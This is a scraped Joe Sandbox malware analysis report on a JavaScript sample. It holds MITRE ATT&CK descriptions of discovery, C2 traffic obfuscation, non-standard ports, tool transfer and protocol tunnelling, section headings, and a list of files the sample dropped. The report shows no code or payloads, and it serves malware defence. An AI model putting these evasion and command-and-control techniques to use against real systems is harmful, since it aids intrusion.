Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2024032514221887775.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\62f0ab6f-8370-45ad-8bbd-9ccfea33c074.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6408

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2024032514221887775.js